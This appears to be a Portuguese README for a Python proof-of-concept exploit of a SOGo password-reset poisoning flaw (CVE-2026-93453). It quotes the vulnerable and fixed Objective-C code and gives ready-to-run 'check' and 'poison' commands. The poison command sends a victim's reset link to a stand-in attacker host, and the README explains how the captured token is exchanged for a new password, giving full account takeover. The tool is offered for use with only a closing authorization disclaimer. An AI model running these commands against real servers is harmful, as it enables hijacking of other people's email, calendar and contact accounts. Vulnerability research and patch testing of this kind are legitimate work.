
PoC em Python para CVE-2026-93453, uma falha de envenenamento de link de redefinição de senha do SOGo por meio de cabeçalho Origin controlado pelo atacante que permite a interceptação do token de redefinição e a tomada de conta.
Um exploit para uma falha em que o SOGo monta o link de redefinição de senha enviado por e-mail aos usuários diretamente a partir do cabeçalho Origin fornecido pelo cliente. Um atacante anônimo que conhece o login de uma vítima envia uma solicitação de recuperação com um Origin controlado; o link dentro da mensagem "Password reset" enviada por e-mail passa então a apontar para o host do atacante, enquanto o JWT incorporado permanece um token de recuperação perfeitamente válido. Um clique da vítima depois, o token está no log de acesso do atacante, e POST /SOGo/changePassword o troca por uma nova senha — tomada de conta completa de e-mail, calendários e contatos, sem autenticação em nenhuma etapa. O ramo de e-mail ainda ignora a verificação SOGoPasswordRecoveryEnabled (essa flag só é consultada no ramo SecretQuestion), então o vetor de e-mail funciona mesmo quando o operador pensa que a recuperação está desativada.
Registro: https://www.cve.org/CVERecord?id=CVE-2026-93453
| Afetado | SOGo < 5.12.11 (≤ 5.12.10) |
| Corrigido | 5.12.11 (allowlist SOGoPasswordRecoveryBaseURLs) |
| Pré-requisitos | vítima com modo de recuperação SecondaryEmail; atacante conhece o userName; vítima clica no link enviado por e-mail |
| Impacto | tomada de conta |
// UI/MainUI/SOGoRootPage.m:1374 (tag SOGo-5.12.10) — passwordRecoveryEmailAction
url = [NSString stringWithFormat:@"%@%@?token=%@",
[[request headers] objectForKey:@"origin"], // <-- raw client header
[request uri],
jwtToken]; // <-- valid HS256 JWT, 10 min TTL
A URL de redefinição com token é Origin + request URI + JWT, então quem define o
cabeçalho define o host para onde o segredo da vítima viaja. Isto é envenenamento
de redefinição de senha (CWE-640 / CWE-601), não um open redirect: o JWT é aceito
por /SOGo/changePassword independentemente de qual host o transportou até lá.
// 5.12.11 — the fix: origins are validated against a mandatory allowlist
baseUrls = [[SOGoSystemDefaults sharedSystemDefaults] passwordRecoveryBaseURLs];
serverUrl = [[request headers] objectForKey:@"origin"];
if (!(baseUrls && [baseUrls count] > 0)) // unset config -> 403
if (![baseUrls containsObject:serverUrl]) // foreign origin -> 403
No 5.12.11 um Origin estrangeiro recebe um 403 ("Password recovery email in
error"); no ≤ 5.12.10 a mesma solicitação retorna 200 e o e-mail é enviado —
essa diferença é o que o check usa como critério.
# non-destructive probe: canary user + foreign Origin, classify the reply
python3 CVE-2026-93453.py check https://sogo.example
# poison: dispatch the reset mail for the victim with your host in the link
python3 CVE-2026-93453.py poison https://sogo.example --user victim --origin https://attacker.example
Somente biblioteca padrão (Python 3.8+). Suporta --proxy, --insecure,
--timeout, --no-color e --prefix para pontos de montagem não padrão do SOGo.
O PoC não precisa de infraestrutura do atacante: poison apenas faz o servidor
enviar o link por e-mail, e o host envenenado é o que você colocar em --origin.
Em uma instância vulnerável, o link enviado por e-mail se torna
https://attacker.example/SOGo/passwordRecoveryEmail?token=<valid HS256 JWT>
— o token viaja para o seu host no momento em que a vítima clica.
check usa um nome de usuário canário inexistente, então nenhum e-mail é
entregue a uma caixa de correio real; 200 = o ramo de e-mail aceitou o Origin
estrangeiro (assinatura vulnerável), 403 = allowlist do 5.12.11 ou
SOGoPasswordRecoveryBaseURLs não definido (não explorável). Para um autoteste
definitivo, faça poison em uma conta que você possui e leia o host do link na
sua própria caixa de entrada.
passwordRecoveryEmailAction)Apenas para testes e pesquisas autorizados. Use somente contra sistemas que você possui ou tem permissão explícita para testar.